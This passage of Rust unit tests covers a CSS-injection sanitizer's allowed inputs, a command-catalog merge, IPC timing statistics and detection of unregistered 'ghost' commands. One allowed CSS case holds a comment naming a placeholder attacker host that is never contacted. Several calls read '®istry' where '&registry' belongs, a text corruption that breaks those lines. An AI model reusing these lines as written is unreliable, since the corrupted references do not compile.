r"body{background:url(DATA:image/png;base64,AAAA)}",
r#"body{background:url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg'/>")}"#,
r#"body{background-image:image-set("a.png" 1x, "a@2x.png" 2x)}"#,
r#"body{background-image:image-set(url(a.png) type("image/png") 1x)}"#,
r#"@font-face{font-family:X;src:local("Arial Bold"),url(f.woff2) format("woff2")}"#,
r#"a::before{content:"Warning: see docs"}"#,
r#"a::before{content:"https is fine as text, not a URL"}"#,
r#"a::after{content:"w: 100px"}"#,
r#"q{quotes:"«" "»"}"#,
r#"body{font-family:"Segoe UI", sans-serif}"#,
r#".g{grid-template-areas:"a b" "c d"}"#,
r"a::before{content:'\2022'}",
"/* https://evil.example */ body{color:red}",
r#"a::before{content:"@import is blocked"}"#,
r"body{--my-url:1px; transition:myurl(1s)}",
];
for css in local {
assert!(
sanitize_injected_css(css, false).is_ok(),
"must be allowed: {css} => {:?}",
sanitize_injected_css(css, false)
);
}
}
}
#[cfg(test)]
mod command_catalog_tests {
use super::merge_command_catalog;
use serde_json::json;
use victauri_core::CommandInfo;
fn entry(v: &serde_json::Value, name: &str) -> serde_json::Value {
v.as_array()
.unwrap()
.iter()
.find(|e| e["command"] == json!(name))
.unwrap_or_else(|| panic!("no catalog entry for {name}"))
.clone()
}
#[test]
fn observed_commands_carry_shapes_and_stats_and_sort_by_call_count() {
let ipc = vec![
json!({
"command": "get_settings", "call_count": 4, "error_count": 0,
"last_status": "ok",
"arg_shape": "null",
"result_shape": { "license": "object", "llm": { "model": "string" } },
}),
json!({
"command": "open_url", "call_count": 9, "error_count": 1,
"last_status": "ok",
"arg_shape": { "url": "string" }, "result_shape": "null",
}),
];
let out = merge_command_catalog(&ipc, &[]);
assert_eq!(out.len(), 2);
assert_eq!(out[0]["command"], json!("open_url"));
assert_eq!(out[0]["observed"], json!(true));
assert_eq!(out[0]["call_count"], json!(9));
assert_eq!(out[0]["error_count"], json!(1));
assert_eq!(out[0]["arg_shape"], json!({ "url": "string" }));
let gs = entry(&json!(out), "get_settings");
assert_eq!(gs["result_shape"]["llm"]["model"], json!("string"));
}
#[test]
fn registered_but_unobserved_commands_are_included_with_metadata() {
let info = CommandInfo::new("rare_command")
.with_description("does a rare thing")
.with_intent("do the rare thing");
let out = merge_command_catalog(&[], std::slice::from_ref(&info));
assert_eq!(out.len(), 1);
assert_eq!(out[0]["command"], json!("rare_command"));
assert_eq!(out[0]["observed"], json!(false));
assert_eq!(out[0]["call_count"], json!(0));
assert_eq!(out[0]["description"], json!("does a rare thing"));
assert_eq!(out[0]["intent"], json!("do the rare thing"));
assert!(out[0].get("arg_shape").is_none());
}
#[test]
fn observed_command_is_enriched_with_registry_metadata_not_duplicated() {
let ipc = vec![json!({
"command": "greet", "call_count": 2, "error_count": 0, "last_status": "ok",
"arg_shape": { "name": "string" }, "result_shape": "string",
})];
let info = CommandInfo::new("greet").with_description("greets a user");
let out = merge_command_catalog(&ipc, std::slice::from_ref(&info));
assert_eq!(
out.len(),
1,
"must not duplicate an observed+registered command"
);
assert_eq!(out[0]["observed"], json!(true));
assert_eq!(out[0]["arg_shape"], json!({ "name": "string" }));
assert_eq!(out[0]["description"], json!("greets a user"));
}
}
#[cfg(test)]
mod ipc_timing_tests {
use super::{ipc_timing_projection_js, ipc_timing_stats};
use serde_json::json;
#[test]
fn projection_is_body_free() {
let js = ipc_timing_projection_js(None);
assert!(js.contains("c.command"));
assert!(js.contains("duration_ms"));
assert!(!js.contains("result"));
assert!(!js.contains("args"));
assert!(!js.contains("Date.now()"));
assert!(ipc_timing_projection_js(Some(5000)).contains("Date.now() - 5000"));
}
#[test]
fn stats_aggregate_per_command_with_percentiles() {
let entries = vec![
json!({ "command": "get_settings", "duration_ms": 10.0 }),
json!({ "command": "get_settings", "duration_ms": 30.0 }),
json!({ "command": "get_settings", "duration_ms": 20.0 }),
json!({ "command": "save", "duration_ms": 5.0 }),
];
let stats = ipc_timing_stats(&entries);
assert_eq!(stats.len(), 2);
assert_eq!(stats[0]["command"], "get_settings");
assert_eq!(stats[0]["call_count"], 3);
assert_eq!(stats[0]["timed_samples"], 3);
assert_eq!(stats[0]["min_ms"], 10.0);
assert_eq!(stats[0]["max_ms"], 30.0);
assert_eq!(stats[0]["avg_ms"], 20.0);
assert_eq!(stats[1]["command"], "save");
assert_eq!(stats[1]["call_count"], 1);
}
#[test]
fn pending_calls_count_but_do_not_skew_latency() {
let entries = vec![
json!({ "command": "run_pipeline", "duration_ms": null }),
json!({ "command": "run_pipeline", "duration_ms": 100.0 }),
];
let stats = ipc_timing_stats(&entries);
assert_eq!(stats[0]["call_count"], 2);
assert_eq!(stats[0]["timed_samples"], 1);
assert_eq!(stats[0]["avg_ms"], 100.0);
}
#[test]
fn empty_input_yields_empty_stats() {
assert!(ipc_timing_stats(&[]).is_empty());
}
}
#[cfg(test)]
mod ghost_report_tests {
use super::{IpcOutcome, build_ghost_report};
use victauri_core::{CommandInfo, CommandRegistry};
fn outcome(command: &str, ok: bool, err: Option<&str>) -> IpcOutcome {
IpcOutcome {
command: command.to_string(),
ok,
err: err.map(str::to_string),
}
}
#[test]
fn succeeded_command_is_never_a_ghost() {
let registry = CommandRegistry::new(); let v = build_ghost_report(&[outcome("set_language", true, None)], ®istry);
assert_eq!(v["verified_handlers"], 1);
assert!(
v["frontend_only"].as_array().unwrap().is_empty(),
"a command that returned success must not be a ghost"
);
assert!(v["confirmed_ghosts"].as_array().unwrap().is_empty());
}
#[test]
fn framework_builtins_are_excluded() {
let registry = CommandRegistry::new();
let outcomes = [
outcome("plugin:event|emit", false, Some("some error")),
outcome("plugin:updater|check", false, None),
];
let v = build_ghost_report(&outcomes, ®istry);
assert!(v["frontend_only"].as_array().unwrap().is_empty());
assert!(v["confirmed_ghosts"].as_array().unwrap().is_empty());
assert_eq!(v["excluded_builtins"].as_array().unwrap().len(), 2);
}
#[test]
fn not_found_error_is_a_confirmed_ghost() {
let registry = CommandRegistry::new();
let v = build_ghost_report(
&[outcome(
"get_widgetz",
false,
Some("command get_widgetz not found"),
)],
®istry,
);
let confirmed = v["confirmed_ghosts"].as_array().unwrap();
assert_eq!(confirmed.len(), 1);
assert_eq!(confirmed[0]["name"], "get_widgetz");
assert!(v["frontend_only"].as_array().unwrap().is_empty());
}
#[test]
fn app_level_not_found_is_not_a_confirmed_ghost() {
let registry = CommandRegistry::new();
let v = build_ghost_report(
&[outcome("get_user", false, Some("user not found"))],
®istry,
);
assert!(
v["confirmed_ghosts"].as_array().unwrap().is_empty(),
"an app-level 'not found' must not be a confirmed ghost: {}",
v["confirmed_ghosts"]
);
assert_eq!(v["frontend_only"].as_array().unwrap().len(), 1);
}
#[test]
fn never_succeeded_unregistered_is_a_weak_candidate() {
let registry = CommandRegistry::new();
let v = build_ghost_report(
&[outcome(
"save_thing",
false,
Some("validation failed: bad arg"),
)],
®istry,
);
assert!(v["confirmed_ghosts"].as_array().unwrap().is_empty());
let fo = v["frontend_only"].as_array().unwrap();
assert_eq!(fo.len(), 1);
assert_eq!(fo[0]["name"], "save_thing");
}
#[test]
fn registered_command_is_not_flagged_even_if_it_only_errored() {
let registry = CommandRegistry::new();
registry.register(CommandInfo::new("known_cmd"));
let v = build_ghost_report(&[outcome("known_cmd", false, Some("oops"))], ®istry);
assert!(v["frontend_only"].as_array().unwrap().is_empty());
}
}